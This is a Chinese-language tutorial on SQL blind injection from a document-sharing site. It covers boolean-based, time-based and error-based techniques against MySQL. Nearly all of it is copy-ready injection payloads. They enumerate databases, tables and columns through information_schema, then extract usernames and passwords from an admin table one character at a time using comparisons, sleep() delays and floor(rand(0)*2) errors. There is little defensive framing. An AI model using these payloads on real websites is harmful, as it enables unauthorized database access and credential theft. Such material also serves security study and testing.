SQL盲注——精选推荐
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
SQL盲注
⼀、SQL盲注概述
盲注就是在注⼊过程中,获取的数据不能回显⾄前端页⾯。
此时我们需要利⽤⼀些⽅法进⾏判断或尝试,这个过程称为盲注
⼆、基于布尔的SQL盲注 - 逻辑判断
执⾏SQL语句后,只显⽰两种结果,True或False
(⼀)注⼊时需要⽤到的函数
like ‘ro%’ #判断ro或ro...是否成⽴
regexp ‘^xxx[a-z]’ #判断xxx及xxx...等
mid(a,b,c) #从b位置开始,截取a字符串的c位
substr(a,b,c) #从b位置开始截取a字符串的c长度
left(database(), 1), database() #left(a,b) 从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97,ord()转换成ascii码
(⼆)布尔盲注流程
1、猜解获取数据库长度
' or length(database()) > 8 --+ #符合条件返回正确,反之返回错误
2、猜解数据库名
'or mid(database(),1,1)= 'z' --+ #因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) >100--+ #通过确定ascii码,从⽽确定数据库名
3、猜解表的总数
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ #判断表的总数
4、猜解第⼀个表名的长度
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) =5--+ (第⼆个表)5、猜解第⼀个表名
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+ 或者
'or ORD(mid(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA =database() limit 0,1),1,1)) >100--+ 6、猜解字段的总数
'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
7、猜解第⼀个字段的长度
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) =10--+ (第⼆个字段)8、猜解第⼀个字段名
'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者 'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='表名' limit 0,1),1,1)) >100--+
直接猜测字段名
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
9、猜测内容长度
假如已经知道字段名为 id username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
10、猜解内容
'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+ 或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
也可直接猜测内容
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
三、基于时间的盲注 - 延时判断
提交对时间敏感的函数SQL语句,通过执⾏时间的长短判断是否执⾏成功
(⼀)⽤到的函数
if,sleep,mid(str,start,lengt),ORD(),Length()version(),database(),user()
(⼆)注⼊流程
1、获取数据库总数
' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5)) #如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒
2、猜解当前数据库长度
' and sleep(if((length(database()) = 8),0,5))--+ #当前数据库名长度为8
3、猜解当前数据库名
' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+ #ascii码115 就是s
4、猜解当前数据库表的总数
And sleep(if((注⼊语句),0,5)) #类似布尔注⼊推理即可,例如:' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+
5、其他根据布尔盲注推断即可
三、基于报错的SQL盲注 - 报错回显
(⼀)需要⽤到的函数
1、利⽤函数报错
Floor,Updatexml,extractvalue,exp(),Geometrycollection(),Polygon(),Multipoint(),Multilinestring(),Multipolygon()等
2、利⽤数据库BUG报错需要⽤到的函数:
只要是count(),rand() ,group by 三个函数连⽤就会造成这种报错
left(rand(),3) #不⼀定报错
floor(rand(0)*2) #⼀定报错
round(x,d) #x指要处理的数,d是指保留⼏位⼩数
concat() #字符串拼接
(⼆)注⼊流程
1、爆数据库
' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx) '
union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3from information_schema.columns group by xx
2、爆表名
' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+
3、爆字段
' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+
4、猜解内容
' and ORD(mid((select concat(username,"-----",password) from ers limit 0,1),1,1)) =68 %23。